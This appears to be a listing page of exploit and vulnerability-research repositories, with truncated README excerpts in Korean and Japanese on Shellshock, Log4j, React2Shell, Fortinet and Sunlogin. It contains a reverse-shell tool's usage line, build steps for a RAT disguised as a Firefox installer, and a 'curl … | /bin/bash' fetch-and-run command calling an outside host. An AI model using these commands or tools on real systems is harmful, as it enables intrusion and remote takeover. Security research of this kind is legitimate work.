-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock リモートコマンドインジェクションツール - クイックリバースシェルとファイル閲覧用 Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3...

cve-2017-12629

README Apache Solr 7.1 이전 버전과 Apache Lucene 7.1 이전 버전에서는 Config API add-listener 명령과 함께 XXE를 악용하여 RunExecutableListener 클래스에 도달함으로써 원격 코드 실행이 발생합니다. Elasticsearch는 Lucene을 사용하지만 이 취약점에는 영향받지 않습니다. XML 외부 엔티티 확장 취약점은 기본적으로 deftype=xmlparser 매개변수를 가진 모든 쿼리 요청에서 사용할 수 있는 XML Query Parser에서 발생하며,...

CVE-2025-55182-poc

CVE-2025-55182 - React Server Components 프로토타입 체인 취약점 이 POC는 실제 [email protected] 취약 코드를 사용하여 CVE-2025-55182를 시연합니다. 빠른 시작 Install dependencies npm install Start vulnerable server port 3002 npm start Run RCE exploit npm run exploit 예상 출력 === CVE-2025-55182 - RCE via vm.runInThisContext ===...

CVE-2025-55182

CVE-2025-55182 익스플로잇 React 서버 컴포넌트의 취약점CVE-2025-55182을 악용하여 애플리케이션에 셸을 주입하는 간단한 파이썬 스크립트입니다. 이 스크립트는 Next.js 버전 16.0.6에서 테스트되었습니다. 사용 방법 레포지토리 클론 git clone https://github.com/ahmedshamsddin/CVE-2025-55182 취약한 앱 실행 cd CVE-2025-55182/vulnerable-app npm install npm run dev 익스플로잇 실행 python exploit.py...

CVE-2026-21643

🚨 CVE-2026-21643 "FortiGhost" : FortiClientEMS 내 인증 전 SQLi RCE FortiClientEMS 7.4.4에서의 인증되지 않은 SQL 인젝션 관리 GUI로 조작된 HTTP 요청을 통한 잠재적 원격 코드 실행 📋 개요 CVE-2026-21643 은 Fortinet FortiClient Endpoint Management Server FortiClientEMS 버전 7.4.4 에만 영향을 미치는 치명적인 SQL 인젝션 취약점CWE-89입니다. 인증되지 않은 원격 공격자는 웹 기반 관리...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE 연구 Apache ActiveMQ Classic 의 Jolokia → addNetworkConnector → xbean/Spring-XML 원격 코드 실행 체인CVE-2026-34197 및 해당 패치 우회 CVE-2026-42588에 대한 비공개 연구 아카이브와 수정된 6.2.6 릴리스의 전체 자동 연구 감사 및 Crowdfense의 공개 우회 글과의 나란히 비교입니다. 모든 익스플로잇은 로컬 랩 브로커Docker / 자체 호스팅를 대상으로 수행되었습니다. 페이로드는...

sunlogin_rce

서문 별로 할 말은 없고, 바로 도구와 취약한 버전을 올립니다. 로컬에서 테스트해보시면 좋고, 불법 테스트에 사용하지 마세요. 테스트한向日葵 클라이언트 취약 버전: 11.0.0.33162 취약한 클라이언트는 소스 코드에 포함되어 있습니다. 포트 스캔은 다음을 사용했습니다: https://github.com/jboursiquot/portscan 취약 버전 피드백 기반 11.1.1 10.3.0.27372 11.0.0.33162 명령어 설명 -h 대상 지정 -t 스캔 또는 명령 실행 선택 기본값: scan -p 스캔 포트 범위 설정...

Mybb-XSS_SQL_RCE-POC

Mybb-XSSSQLRCE-POC Mybb 관련 CVE-2021-27890 및 CVE-2021-27889를 RCE poc로 연결합니다. 사용 전: 여기에는 1.js와 attacklisten.py 두 개의 파일이 있습니다. 이 두 파일을 수정해야 합니다: 1.js: mybb 포럼 URL과 공격 URL을 수정하세요: var bashurl = 'http://192.168.92.164/mybb/mybb-mybb1825' mybb forum url var attackurl =...

DarkFox

DarkFox WinRar とインストーラ（例: firefox）を使用して作成されたリモートアクセス型トロイの木馬で、Python のリバースシェルが組み込まれています。 client.py ファイルを編集し、攻撃側サーバーがリッスンする IP とポート、および攻撃マシン上にある任意のプロキシの IP とポートを設定します。プロキシがない場合は、該当するセクションをコメントアウトします。 client.py を exe に変換します。私は pyinstaller を使用しました: pyinstaller -w -i "Firefox.ico" -F client.py. -w...

kernel: RDMA/rxe: Validate pad and ICRC before payload_size() in rxe_rcv

A flaw was found in the Linux kernel's RDMA/rxe component. The rxercv function does not adequately validate the BTH pad and ICRC fields of incoming packets before calculating the payload size. A remote attacker could exploit this by sending a specially crafted short packet or a packet with a forg...

ketshash

Ketshash A little tool for detecting suspicious privileged NTLM connections, in particular Pass-The-Hash attack, based on event viewer logs. The tool was published as part of the "Pass-The-Hash detection" research - more details on "Pass-The-Hash detection" are in the blog post:...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 명령 주입 취약점 poc 중국어 1.vim /.ssh/config 또는 windows 시스템에서 C:/Users/username/.ssh/config 편집 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone https://github.com/WLaoDuo/CVE-2023-51385poc-test...

CVE-2020-7961

CVE-2020-7961 CVE-2020-7961용 익스플로잇 스크립트 JSONWS를 통한 인증 없는 원격 코드 실행 참고 자료 및 영감 원본 블로그 포스트 : https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html synacktiv 블로그 포스트 : https://www.synacktiv.com/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html 코드 베이스 1 :...

CVE-2021-44228-Apache-Log4j-Rce

사용법: 1. RMIServer 실행 2. Main 실행...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 이전, Go 1.9.x 1.9.4 이전, Go 1.10 프리릴리스 1.10rc2 이전 버전에서는 소스 코드 빌드 중에 go get 원격 명령 실행이 가능합니다. 이는 gcc 또는 clang 플러그인 기능을 활용하여 -fplugin= 및 -plugin= 인수가 차단되지 않았기 때문입니다. mitre에서 인용 RCE 명령 명령은 동적 라이브러리 calcdarwin.so로 컴파일되었습니다. 현재 명령은 curl newton.cycarrier:8002 | /bin/bash입니다. 이는 프로그램...

CVE-2024-55187

요약 민감한 관리 매개변수가 충분히 정화되지 않아, 공격자가 시스템 바이너리 경로를 오염시킬 수 있습니다. 그러면 공격자는 위험한 CSV 파일을 업로드할 수 있으며, 이 파일은 PHP의 exec 호출에 의해 평가될 셸 메타문자를 포함한 PHAR 아카이브로 취급되어 원격 코드 실행RCE을 초래할 수 있습니다. 영향 서버 장악 서비스 거부 데이터 손실 CVSS 점수 심각 - 9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 세부 사항 파일...

CVE-2025-3248-POC

CVE-2025-3248-POC CVE-2025-3248의 POC 대상 머신에서 모든 명령어 실행 사용법: python poc.py 'http://xxx.com' 'ls /' 피해자 컴퓨터에 사랑을 남기세요 poc.py...

CVE-2023-27372-POC

CVE-2023-27372-POC 개요 이 코드는 대상 웹사이트에 CVE-2023-27372 취약점이 존재하는지 탐지하는 Python POCProof of Concept입니다. 단일 URL 또는 여러 URL이 포함된 텍스트 파일을 제공하여 이 코드를 실행할 수 있습니다. 영향 버전: SPIP "; 기능 대상 웹사이트에 CVE-2023-27372 취약점이 있는지 확인합니다. 단일 URL 및 여러 URL이 포함된 텍스트 파일을 지원합니다. 사용 방법 1. 필요한 Python 버전이 설치되어 있는지 확인합니다. 2. 필요한 종속...

CVE-2025-55182

CVE-2025-55182 - React Server Components RCE NOTE: Written by AI/Claude https://github.com/ejpir/CVE-2025-55182-bypass TL;DR CVE-2025-55182는 React의 Flight Protocol에서 발견된 심각한 RCE 취약점입니다. 공격 체인은 경로 탐색 + 가짜 청크 주입 + $B 핸들러 남용 을 연결하여 Functionattackercode를 실행합니다. 실제 익스플로잇 체인을 제공한maple3142님께 큰 감사를 드립니다!...

CVE-2025-55182

📌 CVE-2025-55182 — React2Shell React Server Components における重大な未認証リモートコード実行（RCE） 📖 概要 CVE-2025-55182（通称 React2Shell）は、React Server Components（RSC）および関連パッケージにおいて、2025年12月3日に公開された重大なリモートコード実行（RCE）脆弱性です。この欠陥により、認証されていない攻撃者が、特別に細工されたHTTPリクエストを送信し、サーバーがそれを不適切にデシリアライズすることで、脆弱なサーバー上で任意のコードを実行できるようになります。...